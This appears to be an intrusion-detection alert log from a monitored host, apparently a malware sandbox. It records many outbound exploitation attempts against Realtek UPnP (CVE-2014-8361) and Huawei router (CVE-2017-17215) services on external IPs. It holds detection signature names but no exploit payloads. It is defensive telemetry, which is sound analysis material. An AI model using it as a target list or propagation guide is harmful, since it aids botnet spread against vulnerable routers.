07/20/24-23:01:42.632123	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37554	52869	192.168.2.23	168.18.159.220
07/20/24-23:01:45.063335	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45256	52869	192.168.2.23	93.44.110.204
07/20/24-23:01:25.935242	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45436	52869	192.168.2.23	93.61.135.109
07/20/24-23:01:11.660067	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52356	37215	192.168.2.23	157.108.55.229
07/20/24-23:01:31.312736	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49186	52869	192.168.2.23	166.142.205.252
07/20/24-23:01:49.631749	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54194	52869	192.168.2.23	73.161.205.249
07/20/24-23:01:55.262010	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38122	52869	192.168.2.23	190.187.129.147
07/20/24-23:01:43.843278	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50424	52869	192.168.2.23	152.188.24.161
07/20/24-23:00:59.203960	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59652	37215	192.168.2.23	41.240.87.211
07/20/24-23:01:48.070705	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34608	52869	192.168.2.23	66.14.7.167
07/20/24-23:01:55.802130	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57742	52869	192.168.2.23	32.64.201.235
07/20/24-23:01:02.048113	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57860	37215	192.168.2.23	197.244.76.85
07/20/24-23:01:40.307219	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34386	37215	192.168.2.23	41.199.42.244
07/20/24-23:01:45.030115	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41490	52869	192.168.2.23	158.249.141.193
07/20/24-23:01:49.741351	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42866	52869	192.168.2.23	155.107.33.68
07/20/24-23:01:51.879276	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60162	52869	192.168.2.23	13.31.40.78
07/20/24-23:01:40.321300	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60802	37215	192.168.2.23	197.55.198.212
07/20/24-23:02:20.036130	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43370	52869	192.168.2.23	103.119.134.177
07/20/24-23:00:59.191389	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56072	37215	192.168.2.23	169.239.10.111
07/20/24-23:01:52.053251	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33236	52869	192.168.2.23	65.82.234.209
07/20/24-23:01:43.415157	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33562	52869	192.168.2.23	134.101.23.241
07/20/24-23:01:07.018425	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50070	37215	192.168.2.23	70.120.208.1
07/20/24-23:01:58.602024	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52422	52869	192.168.2.23	216.216.135.51
07/20/24-23:01:46.525128	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47322	52869	192.168.2.23	121.163.119.125
07/20/24-23:01:43.197088	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55986	52869	192.168.2.23	2.108.114.50
07/20/24-23:01:25.796791	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57286	52869	192.168.2.23	103.96.50.123
07/20/24-23:01:46.444817	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54294	52869	192.168.2.23	207.198.69.39
07/20/24-23:01:47.940882	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50980	52869	192.168.2.23	59.111.61.71
07/20/24-23:01:49.011895	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50016	52869	192.168.2.23	118.229.228.64
07/20/24-23:02:09.237639	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56754	52869	192.168.2.23	150.220.0.209
07/20/24-23:01:53.427882	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37342	52869	192.168.2.23	190.13.238.183
07/20/24-23:02:02.570955	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51478	52869	192.168.2.23	131.116.5.106
07/20/24-23:01:40.291616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39466	37215	192.168.2.23	197.236.253.31
07/20/24-23:01:48.931855	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46010	52869	192.168.2.23	213.131.100.211
07/20/24-23:01:34.053061	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38084	37215	192.168.2.23	84.170.188.89
07/20/24-23:01:00.636533	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32936	37215	192.168.2.23	137.33.55.254
07/20/24-23:01:02.789203	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48232	52869	192.168.2.23	98.176.193.82
07/20/24-23:01:52.161566	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47924	52869	192.168.2.23	20.28.196.248
07/20/24-23:01:26.734319	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51386	52869	192.168.2.23	143.38.216.11
07/20/24-23:01:55.594888	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41116	52869	192.168.2.23	59.99.39.216
07/20/24-23:01:51.021834	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53978	52869	192.168.2.23	116.238.28.166
07/20/24-23:01:46.453936	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57814	52869	192.168.2.23	193.184.52.222
07/20/24-23:01:31.314906	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57786	52869	192.168.2.23	5.207.112.150
07/20/24-23:00:59.201622	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36396	37215	192.168.2.23	81.147.177.5
07/20/24-23:01:41.747994	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52954	52869	192.168.2.23	135.205.140.164
07/20/24-23:01:47.915367	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42506	52869	192.168.2.23	110.244.30.5
07/20/24-23:01:49.553792	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35074	52869	192.168.2.23	68.106.199.227
07/20/24-23:01:32.034562	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48106	37215	192.168.2.23	157.115.47.163
07/20/24-23:01:00.634165	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34358	37215	192.168.2.23	197.67.20.2
07/20/24-23:01:02.113055	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40466	37215	192.168.2.23	197.139.203.167
07/20/24-23:01:42.780168	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33652	52869	192.168.2.23	213.68.164.174
07/20/24-23:01:27.649912	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50062	37215	192.168.2.23	197.206.255.142
07/20/24-23:01:46.891763	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48814	52869	192.168.2.23	5.252.81.48
07/20/24-23:00:57.220899	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48734	37215	192.168.2.23	41.174.115.244
07/20/24-23:01:34.044717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46162	37215	192.168.2.23	157.172.112.67
07/20/24-23:00:59.196993	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45996	37215	192.168.2.23	157.115.232.41
07/20/24-23:01:57.978712	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33088	52869	192.168.2.23	72.182.239.64
07/20/24-23:01:11.822392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58386	37215	192.168.2.23	116.78.34.252
07/20/24-23:01:42.962388	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59576	52869	192.168.2.23	8.18.22.34
07/20/24-23:01:49.946258	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54036	52869	192.168.2.23	45.99.89.219
07/20/24-23:01:42.662837	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55922	52869	192.168.2.23	87.76.92.180
07/20/24-23:01:08.571946	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46826	52869	192.168.2.23	82.63.31.170
07/20/24-23:01:08.611391	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48150	52869	192.168.2.23	130.136.141.197
07/20/24-23:01:02.259207	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49352	52869	192.168.2.23	193.7.32.204
07/20/24-23:01:42.486621	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33156	52869	192.168.2.23	52.64.207.91
07/20/24-23:01:01.479730	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46728	52869	192.168.2.23	13.18.63.141
07/20/24-23:01:57.111220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49062	52869	192.168.2.23	5.252.81.48
07/20/24-23:01:52.609595	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33306	52869	192.168.2.23	132.173.198.51
07/20/24-23:02:00.328412	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40100	52869	192.168.2.23	164.237.7.212
07/20/24-23:01:20.181938	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46510	37215	192.168.2.23	157.61.177.250
07/20/24-23:01:54.515976	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60950	52869	192.168.2.23	44.193.90.160
07/20/24-23:02:34.610209	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53550	52869	192.168.2.23	129.68.201.164
07/20/24-23:01:31.331820	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36730	52869	192.168.2.23	212.202.137.63
07/20/24-23:01:31.976649	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45982	37215	192.168.2.23	41.175.115.88
07/20/24-23:01:44.209629	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55768	52869	192.168.2.23	117.174.229.249
07/20/24-23:00:59.185032	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36304	37215	192.168.2.23	41.41.122.187
07/20/24-23:01:31.982478	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46772	37215	192.168.2.23	19.181.181.97
07/20/24-23:01:46.580798	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44132	52869	192.168.2.23	191.8.175.218
07/20/24-23:01:46.403723	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53572	52869	192.168.2.23	153.234.108.85
07/20/24-23:00:57.222254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34142	37215	192.168.2.23	197.5.25.5
07/20/24-23:01:05.033018	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45276	52869	192.168.2.23	130.190.148.15
07/20/24-23:01:00.633635	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53564	37215	192.168.2.23	157.72.248.222
07/20/24-23:01:45.925226	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54556	52869	192.168.2.23	53.50.131.136
07/20/24-23:01:20.098209	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49382	37215	192.168.2.23	157.234.70.152
07/20/24-23:01:44.766696	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57578	52869	192.168.2.23	135.215.110.183
07/20/24-23:01:55.863393	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48716	52869	192.168.2.23	47.97.62.221
07/20/24-23:01:44.550538	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38384	52869	192.168.2.23	198.213.74.132
07/20/24-23:02:08.084135	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36338	52869	192.168.2.23	82.228.21.159
07/20/24-23:02:02.476638	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37504	52869	192.168.2.23	53.255.54.255
07/20/24-23:01:01.904524	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47078	37215	192.168.2.23	197.24.224.193
07/20/24-23:01:21.951975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43410	37215	192.168.2.23	203.123.59.88
07/20/24-23:01:55.154049	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58122	52869	192.168.2.23	69.193.122.132
07/20/24-23:01:54.829737	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35970	52869	192.168.2.23	96.119.211.11
07/20/24-23:01:24.883172	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36552	37215	192.168.2.23	181.24.138.22
07/20/24-23:01:11.816294	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46590	37215	192.168.2.23	157.147.43.148
07/20/24-23:01:45.432263	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38040	52869	192.168.2.23	199.44.188.95
07/20/24-23:01:47.856443	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44526	52869	192.168.2.23	201.73.178.106
07/20/24-23:01:20.096752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47872	37215	192.168.2.23	157.134.165.10
07/20/24-23:01:40.331150	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41418	37215	192.168.2.23	197.93.167.88
07/20/24-23:01:42.673065	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36994	52869	192.168.2.23	158.212.171.84
07/20/24-23:01:08.611391	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49644	52869	192.168.2.23	54.68.100.131
07/20/24-23:01:00.638418	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47392	37215	192.168.2.23	197.151.222.142
07/20/24-23:02:09.668312	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39408	52869	192.168.2.23	199.12.206.97
07/20/24-23:01:44.020551	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46324	52869	192.168.2.23	150.244.130.144
07/20/24-23:01:44.274813	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60748	52869	192.168.2.23	43.229.235.45
07/20/24-23:01:42.762943	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45962	52869	192.168.2.23	145.71.96.96
07/20/24-23:01:44.811941	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43366	52869	192.168.2.23	78.252.101.116
07/20/24-23:01:55.572517	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45208	52869	192.168.2.23	213.9.81.218
07/20/24-23:01:08.620788	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57014	52869	192.168.2.23	164.236.243.93
07/20/24-23:01:49.228425	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55586	52869	192.168.2.23	216.13.41.148
07/20/24-23:00:59.204975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48742	37215	192.168.2.23	197.251.31.217
07/20/24-23:01:20.591832	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45912	52869	192.168.2.23	27.150.162.76
07/20/24-23:01:44.749294	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56020	52869	192.168.2.23	180.183.76.230
07/20/24-23:01:25.595910	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47002	52869	192.168.2.23	62.157.173.255
07/20/24-23:01:41.331701	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50740	52869	192.168.2.23	159.130.44.143
07/20/24-23:01:08.606848	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53660	52869	192.168.2.23	9.134.98.50
07/20/24-23:01:45.175511	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45520	52869	192.168.2.23	42.208.30.144
07/20/24-23:01:00.645051	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35438	37215	192.168.2.23	197.233.33.61
07/20/24-23:01:50.030683	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56748	52869	192.168.2.23	125.188.157.139
07/20/24-23:01:42.891313	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49330	52869	192.168.2.23	155.182.30.66
07/20/24-23:01:53.432917	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38766	52869	192.168.2.23	74.243.121.184
07/20/24-23:01:42.557694	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53706	52869	192.168.2.23	185.161.24.118
07/20/24-23:01:47.023698	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56202	52869	192.168.2.23	49.152.226.6
07/20/24-23:01:47.455725	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39524	52869	192.168.2.23	67.67.248.34
07/20/24-23:01:01.484620	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41228	52869	192.168.2.23	9.190.28.75
07/20/24-23:01:04.973966	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33896	52869	192.168.2.23	219.114.72.114
07/20/24-23:02:19.406496	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48398	52869	192.168.2.23	190.157.219.101
07/20/24-23:02:11.700204	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38574	52869	192.168.2.23	47.13.214.247
07/20/24-23:01:41.258403	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41176	52869	192.168.2.23	5.95.241.47
07/20/24-23:01:44.099799	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54386	52869	192.168.2.23	216.41.229.158
07/20/24-23:01:42.164492	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48656	52869	192.168.2.23	75.52.105.57
07/20/24-23:01:41.290281	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35222	52869	192.168.2.23	175.222.36.60
07/20/24-23:01:04.100971	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39282	37215	192.168.2.23	197.119.219.206
07/20/24-23:01:02.048367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43708	37215	192.168.2.23	157.159.217.211
07/20/24-23:01:08.626717	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33640	52869	192.168.2.23	57.179.102.199
07/20/24-23:01:41.238000	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38464	52869	192.168.2.23	85.239.208.54
07/20/24-23:01:42.062724	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55200	52869	192.168.2.23	194.5.145.232
07/20/24-23:01:57.392094	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36884	52869	192.168.2.23	158.188.68.37
07/20/24-23:01:41.533243	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44868	52869	192.168.2.23	78.42.251.42
07/20/24-23:01:10.585824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37250	52869	192.168.2.23	82.106.122.253
07/20/24-23:01:43.133950	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39136	52869	192.168.2.23	187.122.130.75
07/20/24-23:01:02.079114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35484	37215	192.168.2.23	106.214.178.206
07/20/24-23:01:25.549014	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60312	52869	192.168.2.23	155.220.6.134
07/20/24-23:01:56.324972	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46594	52869	192.168.2.23	14.138.152.232
07/20/24-23:02:02.291967	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57042	52869	192.168.2.23	135.85.2.136
07/20/24-23:01:47.912435	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55434	52869	192.168.2.23	130.200.160.126
07/20/24-23:01:08.585790	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58538	52869	192.168.2.23	34.53.37.254
07/20/24-23:01:34.045144	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40918	37215	192.168.2.23	41.42.73.158
07/20/24-23:01:42.462291	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39952	52869	192.168.2.23	186.129.147.154
07/20/24-23:01:01.464786	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52634	52869	192.168.2.23	212.114.230.189
07/20/24-23:01:08.903232	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54976	52869	192.168.2.23	164.189.55.135
07/20/24-23:01:58.202290	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33930	52869	192.168.2.23	54.42.165.29
07/20/24-23:01:11.634077	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35526	37215	192.168.2.23	193.53.98.68
07/20/24-23:01:27.654173	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35068	37215	192.168.2.23	197.113.24.234
07/20/24-23:01:11.817298	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40146	37215	192.168.2.23	79.233.85.196
07/20/24-23:01:44.355606	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38094	52869	192.168.2.23	43.113.255.232
07/20/24-23:01:25.783904	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55398	52869	192.168.2.23	97.247.179.245
07/20/24-23:01:12.806235	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40150	52869	192.168.2.23	119.4.44.94
07/20/24-23:01:43.084243	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34282	52869	192.168.2.23	43.122.229.51
07/20/24-23:01:48.445925	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43088	52869	192.168.2.23	185.97.134.51
07/20/24-23:01:45.432263	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34106	52869	192.168.2.23	134.101.23.241
07/20/24-23:01:42.151857	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44722	52869	192.168.2.23	111.193.202.8
07/20/24-23:01:04.058922	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57500	37215	192.168.2.23	157.244.205.180
07/20/24-23:01:51.875785	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59312	52869	192.168.2.23	159.88.48.35
07/20/24-23:01:53.697003	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55182	52869	192.168.2.23	138.65.97.97
07/20/24-23:02:11.703257	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52068	52869	192.168.2.23	92.69.223.90
07/20/24-23:02:03.112911	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43688	52869	192.168.2.23	80.223.189.233
07/20/24-23:01:42.616434	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32946	52869	192.168.2.23	197.25.236.70
